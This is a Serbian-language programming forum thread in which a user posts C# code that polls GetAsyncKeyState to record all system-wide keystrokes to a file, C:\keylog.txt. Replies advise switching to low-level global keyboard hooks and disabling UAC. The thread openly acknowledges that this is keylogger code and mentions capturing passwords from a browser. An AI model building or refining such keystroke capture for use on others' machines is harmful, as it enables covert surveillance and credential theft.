Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.

Hvatanje tastera - GetAsyncKeyState

[es] :: .NET :: Hvatanje tastera - GetAsyncKeyState

[ Pregleda: 3033 | Odgovora: 5 ] > FB > Twit

Postavi temu Odgovori

Autor

Pretraga teme: Traži
Markiranje Štampanje RSS

IQooLogic
Milos Stojkovic
Software Developer
Srbija

Član broj: 110897
Poruke: 79
*.dynamic.sbb.rs.

ICQ: 324236803


+1 Profil

icon Hvatanje tastera - GetAsyncKeyState29.10.2008. u 22:35 - pre 188 meseci
Zamisao je da se hvataju svi tasteri sa tastature.Za tako shta sam koristio GetAsyncKeyState medjutim nije bash pouzdan u smislu da ne belezhi sve karaktere bez obzira shto je timer interval stavljen na 3ms.On hvata tastere sa zakashnjenjem, a zbog toga propushta da zabelezhi neke koji su kucani brzo.Postoji li bolji i lakshi nachin za tako shta i ako mozhe neki manji primer.Treba da hvata tastere i kada glavni form izgubi fokus

Code:

        [DllImport("User32.dll")]
        private static extern short GetAsyncKeyState(System.Windows.Forms.Keys vKey);

        [DllImport("User32.dll")]
        private static extern short GetAsyncKeyState(System.Int32 vKey);

        string keyBuffer = String.Empty;

        private void Form1_Load(object sender, EventArgs e)
        {
            timer1.Enable = true;
            timer1.Start();
        }

        private void timer1_Tick(object sender, EventArgs e)
        {
            timer1.Interval = 3;
            foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
            {
                if ((GetAsyncKeyState(i) == 2) || (GetAsyncKeyState(i) == -32767))
                {
                    keyBuffer += Enum.GetName(typeof(Keys), i) + " ";
                    textBox1.Text = keyBuffer;
                    MessageBox.Show(i.ToString());

                    if (keyBuffer != " ")
                    {
                        keyBuffer = keyBuffer.Replace("Space", "Space");
                        keyBuffer = keyBuffer.Replace("Delete", "Del");
                        keyBuffer = keyBuffer.Replace("LShiftKey", "LSHIFT");
                        keyBuffer = keyBuffer.Replace("ShiftKey", "SHIFT");
                        keyBuffer = keyBuffer.Replace("OemQuotes", "!");
                        keyBuffer = keyBuffer.Replace("Oemcomma", "?");
                        keyBuffer = keyBuffer.Replace("D8", "á");
                        keyBuffer = keyBuffer.Replace("D2", "ě");
                        keyBuffer = keyBuffer.Replace("D3", "š");
                        keyBuffer = keyBuffer.Replace("D4", "č");
                        keyBuffer = keyBuffer.Replace("D5", "ř");
                        keyBuffer = keyBuffer.Replace("D6", "ž");
                        keyBuffer = keyBuffer.Replace("D7", "ý");
                        keyBuffer = keyBuffer.Replace("D9", "í");
                        keyBuffer = keyBuffer.Replace("D0", "é");
                        keyBuffer = keyBuffer.Replace("Back", "BackSpace");
                        keyBuffer = keyBuffer.Replace("LButton", "LButton");
                        keyBuffer = keyBuffer.Replace("RButton", "RButton");
                        keyBuffer = keyBuffer.Replace("NumPad", "NumPad");
                        keyBuffer = keyBuffer.Replace("OemPeriod", ".");
                        keyBuffer = keyBuffer.Replace("OemSemicolon", "ů");
                        keyBuffer = keyBuffer.Replace("Oem4", "/");
                        keyBuffer = keyBuffer.Replace("LControlKey", "");
                        keyBuffer = keyBuffer.Replace("ControlKey", "_CTRL");
                        keyBuffer = keyBuffer.Replace("Enter", "Enter");
                        keyBuffer = keyBuffer.Replace("Shift", "SHIFT");
                        //keyBuffer = keyBuffer.ToLower();
                        //keyBuffer = keyBuffer.Replace(" ", "");
                    }

                    StreamWriter sw = new StreamWriter(@"C:\keylog.txt", true);
                    sw.Write(keyBuffer);
                    sw.Flush();
                    sw.Close();
                }
            }
        }

if(torrent == "free" && windows == true)
{
InstallOnComputer(Expensive_Software);
}
else goto Linux;
 
Odgovor na temu

mmix
Miljan Mitrović
Profesorkin muz
Passau, Deutschland

SuperModerator
Član broj: 17944
Poruke: 6042



+4631 Profil

icon Re: Hvatanje tastera - GetAsyncKeyState29.10.2008. u 23:05 - pre 188 meseci
keylogger, a?

po meni najbolje da pogledas global hooks, imas na codeproject-u vec odradjen wrapper:
Processing Global Mouse and Keyboard Hooks in C#
Sloba je za 12 godina promenio antropološki kod srpskog naroda. On je od jednog naroda koji je bio veseo, pomalo površan, od jednog naroda koji je bio znatiželjan, koji je voleo da vidi, da putuje, da upozna,
od naroda koji je bio kosmopolitski napravio narod koji je namršten, mrzovoljan, sumnjicav, zaplašen, narod koji se stalno nešto žali, kome je stalno neko kriv… - Z.Đinđić
 
Odgovor na temu

IQooLogic
Milos Stojkovic
Software Developer
Srbija

Član broj: 110897
Poruke: 79
*.dynamic.sbb.rs.

ICQ: 324236803


+1 Profil

icon Re: Hvatanje tastera - GetAsyncKeyState29.10.2008. u 23:23 - pre 188 meseci
Hvala

Pa necje da bude bash keylogger, ali u neku ruku i jeste Elem, probacju ovo shto pishe na sajtu, mada se plashim da sam prochitao i dobr orazumeo da u Visti (a koristim samo vistu) ne rade ovakve stvari tj da su izbachene ?!

Hvala pa javljam ako neshto ispadne od ovoga

EDIT 01:

Upravo sam naleteo na > Global hooks are not supported in the .NET Framework
osim WH_KEYBOARD_LL low-level hook i WH_MOUSE_LL low-level hook
if(torrent == "free" && windows == true)
{
InstallOnComputer(Expensive_Software);
}
else goto Linux;
 
Odgovor na temu

mmix
Miljan Mitrović
Profesorkin muz
Passau, Deutschland

SuperModerator
Član broj: 17944
Poruke: 6042



+4631 Profil

icon Re: Hvatanje tastera - GetAsyncKeyState30.10.2008. u 07:31 - pre 188 meseci
Radi i na Visti samo nece biti aktivan za aplikacije koje su zasticene od keylogger-a (neces npr moci da maznes lozinku iz IEa, sto je i razlog zasto ova tema opstaje).

WH_KEYBOARD_LL je sve sto ti treba za global hook. WH_KEYBOARD je na nivou jednog procesa

Sloba je za 12 godina promenio antropološki kod srpskog naroda. On je od jednog naroda koji je bio veseo, pomalo površan, od jednog naroda koji je bio znatiželjan, koji je voleo da vidi, da putuje, da upozna,
od naroda koji je bio kosmopolitski napravio narod koji je namršten, mrzovoljan, sumnjicav, zaplašen, narod koji se stalno nešto žali, kome je stalno neko kriv… - Z.Đinđić
 
Odgovor na temu

Shevchenko
Nikola Vasiljevski

Član broj: 37756
Poruke: 218
79.101.66.*

Sajt: www.vasiljevski.com


+2 Profil

icon Re: Hvatanje tastera - GetAsyncKeyState30.10.2008. u 16:45 - pre 188 meseci
Citat:
IQooLogic: Hvala :)

Pa necje da bude bash keylogger, ali u neku ruku i jeste :) Elem, probacju ovo shto pishe na sajtu, mada se plashim da sam prochitao i dobr orazumeo da u Visti (a koristim samo vistu) ne rade ovakve stvari tj da su izbachene ?!


Nisu izbacene nego te UAC (User Account Control) sprecava da recimo simuliras Click misa, i tako te stvari, ali hookovanje radi ;) I to bas koristeci DLL, sa gore pomenute adrese na Code projectu.
Ali kad iskljucis UAC onda moze sve da radi ;)
Shoot for the moon. Even if you miss, you'll land among the stars.
Les Brown
 
Odgovor na temu

IQooLogic
Milos Stojkovic
Software Developer
Srbija

Član broj: 110897
Poruke: 79
*.dynamic.sbb.rs.

ICQ: 324236803


+1 Profil

icon Re: Hvatanje tastera - GetAsyncKeyState30.10.2008. u 21:03 - pre 188 meseci
Chim sam instalirao Vistu odmah sam iskljuchio UAC - nervira jako

Hvala momci na pomocji kada budem imao vremena (sutra prekosutra) bacam se da isprobam WH_KEYBOARD_LL
if(torrent == "free" && windows == true)
{
InstallOnComputer(Expensive_Software);
}
else goto Linux;
 
Odgovor na temu

[es] :: .NET :: Hvatanje tastera - GetAsyncKeyState

[ Pregleda: 3033 | Odgovora: 5 ] > FB > Twit

Postavi temu Odgovori

Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.